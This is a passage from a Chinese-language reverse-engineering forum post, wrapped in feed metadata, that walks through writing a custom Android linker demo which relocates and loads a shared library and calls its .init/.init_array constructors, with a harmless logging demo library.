rel->r_offset)) && ((sym_addr + addend - rel->r_offset) <= max_value)) { * reinterpret_cast <ElfW(Addr)*>(reloc) = sym_addr + addend - rel->r_offset; } else { LOGE( \\"0x%016llx out of range 0x%016llx to 0x%016llx\\" , sym_addr + addend - rel->r_offset, min_value, max_value); return false ; } } break ; case R_AARCH64_COPY: LOGE( \\"%s R_AARCH64_COPY relocations are not supported\\" , get_realpath()); return false ; case R_AARCH64_TLS_TPREL64: LOGD( \\"RELO TLS_TPREL64 *** %16llx <- %16llx - %16llx\\\\n\\" , reloc, (sym_addr + addend), rel->r_offset); break ; case R_AARCH64_TLS_DTPREL32: LOGD( \\"RELO TLS_DTPREL32 *** %16llx <- %16llx - %16llx\\\\n\\" , reloc, (sym_addr + addend), rel->r_offset); break ; #endif default : LOGE( \\"unknown reloc type %d @ %p (%zu) sym_name: %s\\" , type, rel, idx, sym_name); return false ; } // */ } return true ; } |
call_constructors
調用soinfo的構建函數:.init
和.init_array
內所有函數
1 2 3 4 5 6 | // 使被加載的so有執行權限, 否則在調用.init_array時會報錯 mprotect( reinterpret_cast < void *>(load_bias_), sb.st_size, PROT_READ | PROT_WRITE | PROT_EXEC); //... // 5. 調用.init和.init_array si_->call_constructors(); |
原版Linker在調用.init
和.init_array
時傳入的是0, nullptr, nullptr
,我這裡與其保持一致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | void soinfo::call_constructors() { // 對於so文件來說, 由於沒有_start函數 // 因此init_func_和init_array_都無法傳參, 只能是默認值 if (init_func_) { LOGD( \\"init func: %p\\" , init_func_); init_func_(0, nullptr, nullptr); } if (init_array_) { for ( int i = 0; i < init_array_count_; i++) { if (!init_array_[i]) continue ; init_array_[i](0, nullptr, nullptr); } } } |
項目地址:https://github.com/ngiokweng/ng1ok-linker
\\n隨便寫一個so作為待加載的so( 名為libdemo1.so
),內容如下,將它push到/data/local/tmp
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #include <jni.h> #include <string> #include <android/log.h> #define TAG \\"nglog\\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO,TAG,__VA_ARGS__) #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__) #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,TAG,__VA_ARGS__) extern \\"C\\" JNIEXPORT jstring JNICALL Java_ng1ok_demo1_NativeLib_stringFromJNI( JNIEnv* env, jobject /* this */ ) { std::string hello = \\"Hello from C++\\" ; return env->NewStringUTF(hello.c_str()); } extern \\"C\\" JNIEXPORT jstring JNICALL Java_ng1ok_linker_MainActivity_demo1Func(JNIEnv *env, jobject thiz) { LOGD( \\"Java_ng1ok_linker_MainActivity_demo1Func calleeeeeeeddddddddd\\" ); std::string str = \\"Java_ng1ok_linker_MainActivity_demo1Func\\" ; return env->NewStringUTF(str.c_str()); } __attribute__((constructor())) void sayHello(){ LOGD( \\"[from libdemo1.so .init_array] Hello~~~\\" ); } extern \\"C\\" { void _init( void ){ LOGD( \\"[from libdemo1.so .init] _init~~~~\\" ); } } |
Demo的用例如下,實例化MyLoader
,調用run
函數加載指定路徑的so。
Java層的onCreate
如下,在test
之後調用待加載so裡的demo1Func
函數。
輸出如下,大功告成~
\\n
前前後後弄了兩、三周的時間,最終總算是弄好了這一個小Demo。自知該Demo仍有很多不足之處( 如無法捕獲try…catch ),而且只經過簡單的測試,定然存在諸多的BUG,歡迎各位大佬的指正!!有任何也問題歡迎評論,或者私聊我/找我聊聊天都可以!!!
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\n\\n\\n\\n\\n\\n\\n","description":"前一陣子在研究so加固,發現其中涉及自實現的Linker加載so的技術,而我對此知之什少,因此只好先來學習下Linker的加載流程。 本文參考AOSP源碼和r0ysue大佬的文章( 不知為何文中給出的那個demo我一直跑不起來 )來實現一個簡單的自實現Linker Demo。\\n\\n環境:Pixel1XL、AOSP - Oreo - 8.1.0_r81\\n\\nLinker在加載so時大致可以分成五步:\\n\\n讀取so文件:讀取ehdr( Elf header )、phdr( Program header )等信息。\\n載入so:預留一片內存空間,隨後將相關信息加載進去…","guid":"https://bbs.kanxue.com/thread-282316.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-06-28T09:28:00.198Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202406/946537_WWU84M766JKG24C.webp","type":"photo","width":899,"height":278},{"url":"https://bbs.kanxue.com/upload/attach/202406/946537_WVFSPB37WEBBZ8W.webp","type":"photo"},{"url":"https://bbs.kanxue.com/upload/attach/202406/946537_N7Q8MDC9KX325KE.webp","type":"photo"},{"url":"https://bbs.kanxue.com/upload/attach/202406/946537_MR6CWDCH246FMQJ.webp","type":"photo"}],"categories":null,"attachments":null,"extra":null,"language":null}],"readCount":2148,"subscriptionCount":213,"analytics":{"feedId":"59422035037245440","updatesPerWeek":1,"subscriptionCount":213,"latestEntryPublishedAt":null,"view":0}}')